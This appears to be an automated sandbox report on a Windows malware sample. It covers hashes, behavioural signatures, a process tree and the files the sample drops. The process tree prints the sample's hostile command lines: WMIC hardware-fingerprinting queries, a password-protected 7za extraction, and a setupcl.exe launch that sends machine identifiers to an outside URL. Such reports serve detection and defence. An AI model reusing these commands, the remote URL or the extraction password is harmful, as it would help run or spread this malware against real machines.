9a47363165d586ff9cc39f4ad0ed79249fc0faba6f412432f49e1a8e95a5e8d6

General

Target

b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
Size

406KB
MD5

b5d34223b275d15f98bd0a3267fb76e7
SHA1

3f16c65faa2d170653e0a9939c30b7581445eff4
SHA256

9a47363165d586ff9cc39f4ad0ed79249fc0faba6f412432f49e1a8e95a5e8d6
SHA512

5f3c00f87c22102caf4fa202a15679e373a4c5568e1f19cc8427f357f87f1e4ba1c5ee95fce648d3618d3e2bb0368ad0e287035a4ebbdf445711927f964b55bc
SSDEEP

12288:nA0i50GgGdfbBTFbmskDAGmpUzdWW0rZQ16GIc:nAfyGTdfnmEXYWW0dQ16zc

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

Processes:

7za.exesetupcl.exe

pid process

2328 7za.exe
2840 setupcl.exe

pid	process
2328	7za.exe
2840	setupcl.exe

Loads dropped DLL 8 IoCs

Processes:

b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe

pid	process
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2172	WMIC.exe
Token: SeSecurityPrivilege	2172	WMIC.exe
Token: SeTakeOwnershipPrivilege	2172	WMIC.exe
Token: SeLoadDriverPrivilege	2172	WMIC.exe
Token: SeSystemProfilePrivilege	2172	WMIC.exe
Token: SeSystemtimePrivilege	2172	WMIC.exe
Token: SeProfSingleProcessPrivilege	2172	WMIC.exe
Token: SeIncBasePriorityPrivilege	2172	WMIC.exe
Token: SeCreatePagefilePrivilege	2172	WMIC.exe
Token: SeBackupPrivilege	2172	WMIC.exe
Token: SeRestorePrivilege	2172	WMIC.exe
Token: SeShutdownPrivilege	2172	WMIC.exe
Token: SeDebugPrivilege	2172	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2172	WMIC.exe
Token: SeRemoteShutdownPrivilege	2172	WMIC.exe
Token: SeUndockPrivilege	2172	WMIC.exe
Token: SeManageVolumePrivilege	2172	WMIC.exe
Token: 33	2172	WMIC.exe
Token: 34	2172	WMIC.exe
Token: 35	2172	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2172	WMIC.exe
Token: SeSecurityPrivilege	2172	WMIC.exe
Token: SeTakeOwnershipPrivilege	2172	WMIC.exe
Token: SeLoadDriverPrivilege	2172	WMIC.exe
Token: SeSystemProfilePrivilege	2172	WMIC.exe
Token: SeSystemtimePrivilege	2172	WMIC.exe
Token: SeProfSingleProcessPrivilege	2172	WMIC.exe
Token: SeIncBasePriorityPrivilege	2172	WMIC.exe
Token: SeCreatePagefilePrivilege	2172	WMIC.exe
Token: SeBackupPrivilege	2172	WMIC.exe
Token: SeRestorePrivilege	2172	WMIC.exe
Token: SeShutdownPrivilege	2172	WMIC.exe
Token: SeDebugPrivilege	2172	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2172	WMIC.exe
Token: SeRemoteShutdownPrivilege	2172	WMIC.exe
Token: SeUndockPrivilege	2172	WMIC.exe
Token: SeManageVolumePrivilege	2172	WMIC.exe
Token: 33	2172	WMIC.exe
Token: 34	2172	WMIC.exe
Token: 35	2172	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2600	WMIC.exe
Token: SeSecurityPrivilege	2600	WMIC.exe
Token: SeTakeOwnershipPrivilege	2600	WMIC.exe
Token: SeLoadDriverPrivilege	2600	WMIC.exe
Token: SeSystemProfilePrivilege	2600	WMIC.exe
Token: SeSystemtimePrivilege	2600	WMIC.exe
Token: SeProfSingleProcessPrivilege	2600	WMIC.exe
Token: SeIncBasePriorityPrivilege	2600	WMIC.exe
Token: SeCreatePagefilePrivilege	2600	WMIC.exe
Token: SeBackupPrivilege	2600	WMIC.exe
Token: SeRestorePrivilege	2600	WMIC.exe
Token: SeShutdownPrivilege	2600	WMIC.exe
Token: SeDebugPrivilege	2600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2600	WMIC.exe
Token: SeRemoteShutdownPrivilege	2600	WMIC.exe
Token: SeUndockPrivilege	2600	WMIC.exe
Token: SeManageVolumePrivilege	2600	WMIC.exe
Token: 33	2600	WMIC.exe
Token: 34	2600	WMIC.exe
Token: 35	2600	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2600	WMIC.exe
Token: SeSecurityPrivilege	2600	WMIC.exe
Token: SeTakeOwnershipPrivilege	2600	WMIC.exe
Token: SeLoadDriverPrivilege	2600	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

setupcl.exe

pid process

2840 setupcl.exe
2840 setupcl.exe

pid	process
2840	setupcl.exe
2840	setupcl.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exesetupcl.exe

description	pid	process	target process
PID 2196 wrote to memory of 2172	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2172	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2172	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2172	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2600	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2600	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2600	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2600	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2564	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2564	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2564	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2564	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2476	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2476	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2476	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2476	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	WMIC.exe
PID 2196 wrote to memory of 2328	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	7za.exe
PID 2196 wrote to memory of 2328	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	7za.exe
PID 2196 wrote to memory of 2328	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	7za.exe
PID 2196 wrote to memory of 2328	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	7za.exe
PID 2196 wrote to memory of 2840	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	setupcl.exe
PID 2196 wrote to memory of 2840	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	setupcl.exe
PID 2196 wrote to memory of 2840	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	setupcl.exe
PID 2196 wrote to memory of 2840	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	setupcl.exe
PID 2196 wrote to memory of 2840	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	setupcl.exe
PID 2196 wrote to memory of 2840	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	setupcl.exe
PID 2196 wrote to memory of 2840	2196	b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe	setupcl.exe
PID 2840 wrote to memory of 1904	2840	setupcl.exe	wmic.exe
PID 2840 wrote to memory of 1904	2840	setupcl.exe	wmic.exe
PID 2840 wrote to memory of 1904	2840	setupcl.exe	wmic.exe
PID 2840 wrote to memory of 1904	2840	setupcl.exe	wmic.exe

C:\Users\Admin\AppData\Local\Temp\b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2172
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get Version /FORMAT:textvaluelist.xsl
  2⤵
  PID:2564
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
  2⤵
  PID:2476
- C:\Users\Admin\AppData\Local\Temp\nsy1DFE.tmp\7za.exe
  7za.exe e -y -p"b29793ec83afe6939910ed9837068dd8" [RANDOM_STRING].7z
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Users\Admin\AppData\Local\Temp\nsy1DFE.tmp\setupcl.exe
  "C:\Users\Admin\AppData\Local\Temp\nsy1DFE.tmp\setupcl.exe" /initurl http://sub.yorkshatb.com/init/b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid b5d34223b275d15f98bd0a3267fb76e7_JaffaCakes118 /uuid stance(s) Available. /biosserial /biosversion BOCHS - 1 /csname stance(s) Available.
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    wmic bios get serialnumber, version
    3⤵
    PID:1904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\nsy1DFE.tmp\7za.exe

Filesize
574KB

MD5
42badc1d2f03a8b1e4875740d3d49336

SHA1
cee178da1fb05f99af7a3547093122893bd1eb46

SHA256
c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

SHA512
6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy1DFE.tmp\[RANDOM_STRING].7z

Filesize
80KB

MD5
410091026df90381d5f5cdef2c8c1ba0

SHA1
5112cd5913f675e3106281dfdd168f275e325d62

SHA256
91ea841b7320e66c87cced1f4a60a06f6e47c6307cbcfbcde18c278c4f149dfa

SHA512
24d242513b7401cd69469f8f581ac38eb989a0a5c86f6390714316e4479e013f545a29ad275c8720068e373b45da46602ffb85f6db738d9549699070634af418

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsy1DFE.tmp\setupcl.exe

Filesize
193KB

MD5
10bd2af1b07ec6bc9cd17ba512569e59

SHA1
807e17ab1b98177e135d30941b45081960d1e866

SHA256
9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

SHA512
deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

Download Submit
\Users\Admin\AppData\Local\Temp\nsy1DFE.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
memory/2196-40-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads